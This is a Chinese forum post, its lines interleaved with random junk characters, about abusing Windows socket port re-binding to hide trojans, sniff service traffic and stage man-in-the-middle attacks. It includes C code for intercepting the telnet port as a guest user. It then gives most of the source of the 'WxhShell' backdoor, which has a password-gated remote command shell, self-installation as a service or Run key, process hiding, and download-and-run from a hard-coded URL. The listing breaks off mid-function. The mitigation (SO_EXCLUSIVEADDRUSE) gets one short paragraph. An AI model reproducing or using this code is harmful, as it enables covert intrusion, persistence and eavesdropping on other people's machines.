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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 8w&-O~M  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _`|1B$@x  
d]pb1ECuu  
  saddr.sin_family = AF_INET; '7-Yo Q  
En?V\|,  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); //U1mDFT  
?)xIn)#l s  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); W]9*dabem  
ff\~`n~WZ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 hm`=wceK  
`}}:9d  
  这意味着什么?意味着可以进行如下的攻击: :"\,iH  
RZm%4_p4s  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 [@vz0!@s5  
-{cHp  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) *?rWS"B  
qN)y-N.LI(  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 3'0Pl8  
d(T4Kd$r  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  {r,U ik-nL  
wA=r ]BT  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ,#A(I#wL~  
Ymk?@mV4  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \k.`xG?  
?Z7`TnG$uf  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 GM%+yS}(P  
}02`ve*   
  #include jwDlz.sW!  
  #include @ _Ey"k<  
  #include r ]DiB:.  
  #include    ,c p2Fac  
  DWORD WINAPI ClientThread(LPVOID lpParam);   FzT.9Vz7  
  int main() U(#<D7}  
  { .Pc>1#z&[  
  WORD wVersionRequested; t4WB^dHYp  
  DWORD ret; 5p;AON  
  WSADATA wsaData; a1U|eLmUb  
  BOOL val; M"~jNe|  
  SOCKADDR_IN saddr; ;b$P*dSG}  
  SOCKADDR_IN scaddr; 1i76u!{U  
  int err; _ E;T"SC  
  SOCKET s; Zv u6/#  
  SOCKET sc; XO <wK  
  int caddsize; Z*%;;&?  
  HANDLE mt; m1"m KM  
  DWORD tid;   yB b%#GW  
  wVersionRequested = MAKEWORD( 2, 2 ); uJ !&T  
  err = WSAStartup( wVersionRequested, &wsaData ); Ms{";qiG  
  if ( err != 0 ) { ,XD" p1(|G  
  printf("error!WSAStartup failed!\n"); N:1aDr;  
  return -1; Kg[OUBv  
  } -/yqiC-yx  
  saddr.sin_family = AF_INET; e w^(3&  
    [XfR`@  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 U v2.Jo/Q  
?[D3 -4  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); F"@%7xy  
  saddr.sin_port = htons(23); x84!/n^z  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) bx0.(Nv/X  
  { :t}\%%EbmE  
  printf("error!socket failed!\n"); R'Sd'pSDN  
  return -1; h)KHc/S  
  } jEc_!Q  
  val = TRUE; YG "Ta|@5  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 K:PH: e  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) TlqHj  
  { IGdiIhH~2  
  printf("error!setsockopt failed!\n"); ^|]&"OaB Z  
  return -1; LK^|JEu  
  } }u Y2-l  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 6K/RO)  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 U<Pjn)M~B  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 p8 rh`7  
Y[ G_OoU  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ]K=#>rZrB  
  { ( ;FxKm<P@  
  ret=GetLastError(); D JP6Z  
  printf("error!bind failed!\n"); 2;}leZ@U  
  return -1; ~6[?=mOi'  
  } p@ <Q?  
  listen(s,2); &OMlW _FHR  
  while(1) Njq}M/{U  
  { o-,."|6  
  caddsize = sizeof(scaddr); YB#fAU  
  //接受连接请求 rPV Q#iB  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);  (I[_}l  
  if(sc!=INVALID_SOCKET) 615Ya<3f8  
  { ,6)N.  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); H?$dnwR  
  if(mt==NULL) xEb>6+-F@  
  { #8$?# dT  
  printf("Thread Creat Failed!\n"); Y"Cf84E  
  break; ZlT }cA/n  
  } pu-HEv}]a|  
  } eV;r /4  
  CloseHandle(mt); th?+TNb^  
  } 9^gYy&+>6]  
  closesocket(s); E C?}iP  
  WSACleanup(); BZq#OA p  
  return 0; ^QK`z@B  
  }   twT/uBQ4a  
  DWORD WINAPI ClientThread(LPVOID lpParam) -'rdN i  
  { X+hHEkJ  
  SOCKET ss = (SOCKET)lpParam;  N5 ME_)  
  SOCKET sc; Ltlp9 S  
  unsigned char buf[4096]; w:&" "'E  
  SOCKADDR_IN saddr; q6zVu(  
  long num; 7CIN!vrC|1  
  DWORD val; /x VHd  
  DWORD ret; @CprC]X  
  //如果是隐藏端口应用的话,可以在此处加一些判断 l45/$G7  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   LUOjaX  
  saddr.sin_family = AF_INET; JGs: RD'  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); --yF%tRMP  
  saddr.sin_port = htons(23); j3j?2#vR  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ] l,BUf-O  
  { vygzL U^  
  printf("error!socket failed!\n"); ' \JE>#  
  return -1; ]#tB[G  
  } !3Q0Ahf  
  val = 100; Y.^L^ "%dF  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) DUp`zW;B  
  { HJL! ;i  
  ret = GetLastError();  |/Nh#  
  return -1; 18&"j 8'm  
  } eYOY   
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1\}vU  
  { F O!Td  
  ret = GetLastError(); A*JOp8\)  
  return -1; /{T&l*'  
  } iaGA9l<b  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) j=WxtMS  
  { coP->&(@U#  
  printf("error!socket connect failed!\n"); +m=b "g  
  closesocket(sc); %(CC  
  closesocket(ss); f56yI]*N=<  
  return -1; $?= $F  
  } ^q7V%{54  
  while(1) p`tz*ewC  
  { %~rEJB@{  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 3CCs_AO  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ah>c)1DA*H  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 B#K gU&Loo  
  num = recv(ss,buf,4096,0); -y`Pm8  
  if(num>0) ;6tra_  
  send(sc,buf,num,0); _l d.Xmvd  
  else if(num==0) MZgaQUg  
  break; r,5e/X  
  num = recv(sc,buf,4096,0); Mz@{_*2   
  if(num>0) iZGbNN  
  send(ss,buf,num,0); u 3WU0Z`  
  else if(num==0) {X!vb  
  break; eG=d)`.JaV  
  } P,v7twc0M  
  closesocket(ss); r!r08y f  
  closesocket(sc); 2/-m-5A  
  return 0 ; ($di]lbsT  
  } corm'AJ/  
|J $A%27  
xUJ(tG3  
========================================================== Xdvd\H=  
;jP sS^X  
下边附上一个代码,,WXhSHELL  2&6D`{"P  
Gp9 <LB\,  
========================================================== }m:paB"3  
pb!2G/,.[  
#include "stdafx.h" :~-:  
~OD6K`s3  
#include <stdio.h> ]LE,4[VxRz  
#include <string.h> "~r<ZG  
#include <windows.h> t]xz7VQ  
#include <winsock2.h> ,Ag{-&  
#include <winsvc.h> hY)zKX_r  
#include <urlmon.h> Q2CGC+   
d59rq<yI  
#pragma comment (lib, "Ws2_32.lib") 2&hv6Y1  
#pragma comment (lib, "urlmon.lib") kZ9Gl!g  
x{H+fq,M  
#define MAX_USER   100 // 最大客户端连接数 5i br1zs  
#define BUF_SOCK   200 // sock buffer Yy~x`P'g!  
#define KEY_BUFF   255 // 输入 buffer $tlBI:ay1  
^ AZ#tp%)  
#define REBOOT     0   // 重启 b8!oZ~ K  
#define SHUTDOWN   1   // 关机 3.Fko<D4jD  
2;)IBvK  
#define DEF_PORT   5000 // 监听端口 /xn|d#4  
{_7hX`p  
#define REG_LEN     16   // 注册表键长度 @&jR^`Y.  
#define SVC_LEN     80   // NT服务名长度 \kE0h\  
fTxd8an{  
// 从dll定义API FB k7Cn!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); '4,?YcZ?S  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Q Xd`P4a  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (Mc{nFqS  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !t%1G.  
fh#:j[R4e  
// wxhshell配置信息 yQJ0",w3o.  
struct WSCFG { V_i&@<J  
  int ws_port;         // 监听端口 8)>>EN8 R  
  char ws_passstr[REG_LEN]; // 口令 GcM1*)$ 4  
  int ws_autoins;       // 安装标记, 1=yes 0=no :tWk K$  
  char ws_regname[REG_LEN]; // 注册表键名 &dB@n15'A  
  char ws_svcname[REG_LEN]; // 服务名 xM())Z|2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 CvIuH=,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 f]*;O+8$LN  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 enk`I$Xx  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )xp3 ElH  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /qdvzv%T  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 FH</[7f;@N  
yLRe'5#m  
}; %YVPm*J ~  
fR1L VLU  
// default Wxhshell configuration A&}]:4@{  
struct WSCFG wscfg={DEF_PORT, tY$@,>2v  
    "xuhuanlingzhe", }$)~HmZw  
    1, m mF0RNE  
    "Wxhshell", p39$V[*g(  
    "Wxhshell", #( .G;e;w  
            "WxhShell Service", 4m~y%> &  
    "Wrsky Windows CmdShell Service", x(?Rm,  
    "Please Input Your Password: ", fb Bu^]^S  
  1, =8_b&4.:&  
  "http://www.wrsky.com/wxhshell.exe", QRQ{Bq}#  
  "Wxhshell.exe" gY+d[3N  
    }; p3_ Qx  
SX,$ $43  
// 消息定义模块 X#1WzWk '  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; k7uX!}  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~,,r\Y+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; rDl/R^w"  
char *msg_ws_ext="\n\rExit."; =t N}4  
char *msg_ws_end="\n\rQuit."; {?Slo5X|  
char *msg_ws_boot="\n\rReboot..."; -axKnfj  
char *msg_ws_poff="\n\rShutdown..."; <ppdy,j:  
char *msg_ws_down="\n\rSave to "; 4{>r_^8  
xst-zfkH`  
char *msg_ws_err="\n\rErr!"; WOPIF~1v  
char *msg_ws_ok="\n\rOK!"; -|x7<$Hw  
8B ,S_0!  
char ExeFile[MAX_PATH]; N_G&nw  
int nUser = 0; IAA_Ft  
HANDLE handles[MAX_USER]; F]RPM(!5O)  
int OsIsNt; tk0m[HN@eV  
>QDyG8*  
SERVICE_STATUS       serviceStatus; IFW(nB(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; r@JMf)a]  
Zzlt^#KLx  
// 函数声明 =lv(  
int Install(void); *BxU5)O  
int Uninstall(void); ; &rxwL  
int DownloadFile(char *sURL, SOCKET wsh); 9z?c0W5x  
int Boot(int flag); rvx2{1}I  
void HideProc(void); `;Ui6{|  
int GetOsVer(void); '!$ QI@@  
int Wxhshell(SOCKET wsl); uj;iE 9  
void TalkWithClient(void *cs); rHk(@T.]  
int CmdShell(SOCKET sock); ~LI}   
int StartFromService(void); e!=7VEB  
int StartWxhshell(LPSTR lpCmdLine); w#2apaz  
>'n[B    
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); WiZkIZ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 46M=R-7=  
em7L `,  
// 数据结构和表定义 <e&v[  
SERVICE_TABLE_ENTRY DispatchTable[] = M19O^P>[  
{ 0aq{Y7sYU  
{wscfg.ws_svcname, NTServiceMain}, J+CGhk  
{NULL, NULL} foPM5+.G  
}; 8-gl$h  
W +Piqf*  
// 自我安装 6r^ZMW  
int Install(void) <IU   
{ ,or;8aYc#  
  char svExeFile[MAX_PATH]; [-`s`g-  
  HKEY key; (4z_2a(Dl,  
  strcpy(svExeFile,ExeFile); =f@71D1  
yfwR``F  
// 如果是win9x系统,修改注册表设为自启动 wo62R&ac  
if(!OsIsNt) { ZK ?V{X{";  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |5(CzXR]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l`75BR  
  RegCloseKey(key); }2Ge??!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DI/d(oFv`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4iSN.nxIZ  
  RegCloseKey(key); EqHToD I3  
  return 0; Vh01y f  
    } W rT_7  
  } alxIc.[  
} Mg0ai6KD  
else { f:nXE&X[  
Rxw+`ru  
// 如果是NT以上系统,安装为系统服务 @WXRZEz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); pVl7] _=m  
if (schSCManager!=0) ZHwl9n#m  
{ RK*tZ  
  SC_HANDLE schService = CreateService 1z; !)pG.  
  ( EAh|$~X  
  schSCManager, b L.Xb y<Y  
  wscfg.ws_svcname, dM,{:eID  
  wscfg.ws_svcdisp, +U'n|>t9  
  SERVICE_ALL_ACCESS,  vWW Q/^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , I 8 ?  
  SERVICE_AUTO_START, j!L7r'AV5  
  SERVICE_ERROR_NORMAL, oGXcu?ft  
  svExeFile, \7UeV:3Ojn  
  NULL, q-1vtbn  
  NULL, }<z [t5  
  NULL, JFu.o8[Q  
  NULL, &~<i" W  
  NULL \{(cz/]G/  
  ); ^tyqc8&  
  if (schService!=0) H[R6 ?H@$F  
  { >!PM5%G  
  CloseServiceHandle(schService); mE+=H]`.p  
  CloseServiceHandle(schSCManager); PMiu "  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); XYV`[,^h&  
  strcat(svExeFile,wscfg.ws_svcname); $v8T%'p+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8z-wdO\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]Gj%-5G  
  RegCloseKey(key); D41.$t[  
  return 0; }WR@%)7ay  
    } ~urk Uz  
  } ;Srzka2  
  CloseServiceHandle(schSCManager); i*xVD`x~  
} !!6@r|.  
} >0:=<RW  
?+c-m+;wj  
return 1; 3nq4Y'  
} @Us#c 7/  
Sw{rNzh%$  
// 自我卸载 C:!&g~{cKi  
int Uninstall(void) fX LsLh+~D  
{ B|>eKI  
  HKEY key; I]#x0?D  
QVb{+`.7  
if(!OsIsNt) { BL0xSNE**  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kT^`j^Jr  
  RegDeleteValue(key,wscfg.ws_regname); ? _[ q{i{  
  RegCloseKey(key); H_iQR9Ak7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?U:c\TA,m  
  RegDeleteValue(key,wscfg.ws_regname); HS.eK#:N  
  RegCloseKey(key); )Zvn{  
  return 0; ;F2"gTQS  
  } I'J-)D`  
} UHI<8o9  
} /Zz [vf  
else { }Zp[f6^Q  
meD83,L~N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); kCZ'p  
if (schSCManager!=0) Fe2iG-ec  
{ lo7>$`Q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?+]   
  if (schService!=0)  L$]Y$yv  
  { w~AO;X*Ke"  
  if(DeleteService(schService)!=0) { JWQd6JQ_~V  
  CloseServiceHandle(schService); &61h*s  
  CloseServiceHandle(schSCManager); _bCIVf`  
  return 0; )C#>@W  
  } UJ)( Sw  
  CloseServiceHandle(schService); OQ3IkE`G  
  } b\SB  
  CloseServiceHandle(schSCManager);  o^d  
} m7cG ]a~a  
} fo;^Jg.  
?,r}@89pY  
return 1; Qj9'VI>&  
} SG)|4$"  
tv9 R$-cJ  
// 从指定url下载文件 6(B[(Af  
int DownloadFile(char *sURL, SOCKET wsh) >Qf`xUZ  
{ 7$kTeKiP  
  HRESULT hr; Jb!s#g  
char seps[]= "/"; @i>4k  
char *token; KpKZiUQm  
char *file; 1?y QjW,  
char myURL[MAX_PATH]; AHplvksb  
char myFILE[MAX_PATH]; e1H2w? s  
 _dVA^m  
strcpy(myURL,sURL); 69Q#UJ  
  token=strtok(myURL,seps); _.GHtu/I  
  while(token!=NULL) +qa^K%K  
  { !$0ozDmD  
    file=token; e$-Y>Dd  
  token=strtok(NULL,seps); "2 qivJ  
  } F,xFeq$/{  
239g pf]}  
GetCurrentDirectory(MAX_PATH,myFILE); d?[8VfAnh  
strcat(myFILE, "\\"); GS,}]c=  
strcat(myFILE, file); Ye\ &_w"  
  send(wsh,myFILE,strlen(myFILE),0); [58qC:  
send(wsh,"...",3,0); qD(dAU  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); KhNE_. Z  
  if(hr==S_OK) =nUzBL%~  
return 0; ;+~Phdy  
else 5Noy~;  
return 1; 'DB'lP  
~#:R1~rh\e  
} jGn2Q L  
)Q~K\bJf  
// 系统电源模块 E#yG}UWe  
int Boot(int flag) ]L!:/k,=S  
{ vn.j>;E'  
  HANDLE hToken; 6P`!yBAu  
  TOKEN_PRIVILEGES tkp; CuYSvW  
9t{Iv({6p  
  if(OsIsNt) { ghaO#kI  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); tf{o=X.)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;/(<yu48  
    tkp.PrivilegeCount = 1; )VkH':yCM  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 26-K:"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4^K<RSYs  
if(flag==REBOOT) { l\&Tw[O  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Vdb X4^V  
  return 0;  B"Ttr+  
} m$^v/pLkM  
else { u [LsH  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) tzG.)Uqs  
  return 0; &BRi& &f  
} =R||c  
  } }b]z+4U a(  
  else { ~ =c[?:  
if(flag==REBOOT) { N'M+Z=!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) '8"$:y  
  return 0; hWiBLip,z  
} \aGTi pB  
else { fTV3lyk  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6iJ\7  
  return 0; 'n7Ld6%1  
} 7HEUmKb"  
} Kw&t\},8@  
{ VFr8F0*H  
return 1; |BE`ASW;  
} >?^_JE C6  
Qr]`flQ8  
// win9x进程隐藏模块 =.6JvX<d1*  
void HideProc(void) , n47.S  
{ b,-qyJW6  
W[oQp2 =  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ck#MpQ!An  
  if ( hKernel != NULL ) ),4c b  
  { %gV~e@|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Kd').w  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 52z{   
    FreeLibrary(hKernel); 7\Wq:<JL  
  } )\l(h%s[I  
7Ezy-x2h  
return; ,&rHBNS  
} rL<a^/b/=  
bjB4  
// 获取操作系统版本 6e :#x:O  
int GetOsVer(void) 76 RFu@k  
{ {*t0WE&1t  
  OSVERSIONINFO winfo; Huho|6ohH  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 629 #t`W\  
  GetVersionEx(&winfo); K|sx"u|?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) sB%QqFRP  
  return 1; vuNq7V*}  
  else tF~D!t@  
  return 0; o_on/{qz  
} {_>}K  
pJ3Yjm[l  
// 客户端句柄模块 (z.eXoP@>  
int Wxhshell(SOCKET wsl) ibQN pIz  
{ M}xyW"yp  
  SOCKET wsh; C *U,$8j|}  
  struct sockaddr_in client; <%:,{u6  
  DWORD myID; h4k.1yH;  
rnS&^  
  while(nUser<MAX_USER) VL| q`n  
{ - DE?L,9X9  
  int nSize=sizeof(client); ;n;bap  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); fHR^?\VVp  
  if(wsh==INVALID_SOCKET) return 1; Ig"Qw vR  
S[I-Z_S  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %g{<EuK]p  
if(handles[nUser]==0) gP:H_nVh  
  closesocket(wsh); qfl#ki`,  
else `w#p8vR  
  nUser++; /m(v5v7(  
  } 5.zv0tJku  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [}Pi $at  
jP"l5  
  return 0; LV!<vakCK  
} HMPb%'U~  
'MY0v_  
// 关闭 socket vZ/Bzy@|  
void CloseIt(SOCKET wsh) a?ux  
{ >`=<(8bu  
closesocket(wsh); e)A-.SRiO$  
nUser--; J0O wzO  
ExitThread(0); xty)*$C>  
} w4(g]9^Q  
I/ V`@*/+  
// 客户端请求句柄 ;FO( mL(  
void TalkWithClient(void *cs) H&E3RU> `  
{ DRuG5|{I:  
YK6zN>M}E  
  SOCKET wsh=(SOCKET)cs; XX[CTh?O%  
  char pwd[SVC_LEN]; 7dtkylW  
  char cmd[KEY_BUFF]; #/LU@+  
char chr[1]; +/4wioGm  
int i,j; :*dfP/GO  
&_ W~d0  
  while (nUser < MAX_USER) { P&}J (;Lbl  
`T(T]^C98  
if(wscfg.ws_passstr) { ?Oyps7hXx  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qM8"* dL  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *d mS'/  
  //ZeroMemory(pwd,KEY_BUFF); ~3,k8C"pRq  
      i=0; mo  
  while(i<SVC_LEN) { w  
^M~Z_CQL2  
  // 设置超时 mq6TwM  
  fd_set FdRead;  y)GH=@b  
  struct timeval TimeOut; y,cz;2  
  FD_ZERO(&FdRead); u;3wg`e  
  FD_SET(wsh,&FdRead); )0N^rw kW  
  TimeOut.tv_sec=8; A#KfG1K>  
  TimeOut.tv_usec=0; %8$ldNhV  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); q3}WO] TBj  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~1.B fOR8  
\_8.\o"@*#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9U]j@*QN  
  pwd=chr[0]; c@Q&i  
  if(chr[0]==0xd || chr[0]==0xa) { cyPJ( &;  
  pwd=0; %E*Q0/  
  break; s>c0K@ADO  
  } 3*!w c.=  
  i++; ]@A}v\wa  
    } >Pf\"% *  
xnvG5  
  // 如果是非法用户,关闭 socket O =0j I  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ViYfK7Z  
} Vh'H =J  
dBNx2T}_0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L5 Q^cY]p  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jHQnD]Hr  
j`:D BO&)\  
while(1) { P]%)c6Uh  
%=`wN^3t2  
  ZeroMemory(cmd,KEY_BUFF); z[+Sb;  
g#b9xTG J^  
      // 自动支持客户端 telnet标准   r2G38/K  
  j=0; +sFpIiJg  
  while(j<KEY_BUFF) { B&>z&!}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (Qf. S{;  
  cmd[j]=chr[0]; HvLx  
  if(chr[0]==0xa || chr[0]==0xd) { A5?q&VS}p  
  cmd[j]=0; 2wwJ>iR`  
  break; O 8XHaVLg3  
  } CRs@x` 5ue  
  j++; l?)!^}Qc  
    } @RXkj-,eC#  
b!oj3|9  
  // 下载文件 9|NH5A"H.  
  if(strstr(cmd,"http://")) { EFn[[<&><t  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); bZWdd6  
  if(DownloadFile(cmd,wsh)) |qz&d=>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {@ Z=b 5/P  
  else oe<DP7e  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a4\j.(w)$D  
  } E{BX $R_8  
  else { YDYN#Ob(;  
l!mx,O`  
    switch(cmd[0]) { W^YaC (I  
  , {X}C  
  // 帮助 qT~a`ou:  
  case '?': { \wF- [']N  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); i"d&U7Q  
    break; t W}"PKv  
  } MFQyB+Z  
  // 安装 IxaF *4JG  
  case 'i': { u~7fK  
    if(Install()) Z -fiJ75  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (\UpJlW  
    else Y49&EQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N;gY5;0m  
    break; $i@I|y/  
    } )kDB*(?  
  // 卸载 nrg$V>pD  
  case 'r': { 2p~}<B  
    if(Uninstall()) (0E<Fz V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9DdR"r'7  
    else nh*6`5yj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ksf6O$  
    break; ZI.Czzx\=  
    } *vzEfmN:d  
  // 显示 wxhshell 所在路径 }0,dG4Oo=  
  case 'p': { uHq;z{ 2GI  
    char svExeFile[MAX_PATH]; {mUt|m 7!  
    strcpy(svExeFile,"\n\r"); gI!d*]{BP  
      strcat(svExeFile,ExeFile); 055C1RV%  
        send(wsh,svExeFile,strlen(svExeFile),0); $plqk^P  
    break; [}!0PN?z~A  
    } 6aLRnH"Ud  
  // 重启 ^?NLA&v<  
  case 'b': { AuT:snCzR  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %{-r'Yi%  
    if(Boot(REBOOT)) 2"HG6"Rr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c:aW"U   
    else { C8x9 Jrc  
    closesocket(wsh); -Fq`#"  
    ExitThread(0); U"=Lzo.0  
    } 8u%,5GV>Xr  
    break; yLPP6_59$  
    } 0 9qfnQG  
  // 关机 Y"L|D,ex  
  case 'd': { QBh*x/J  
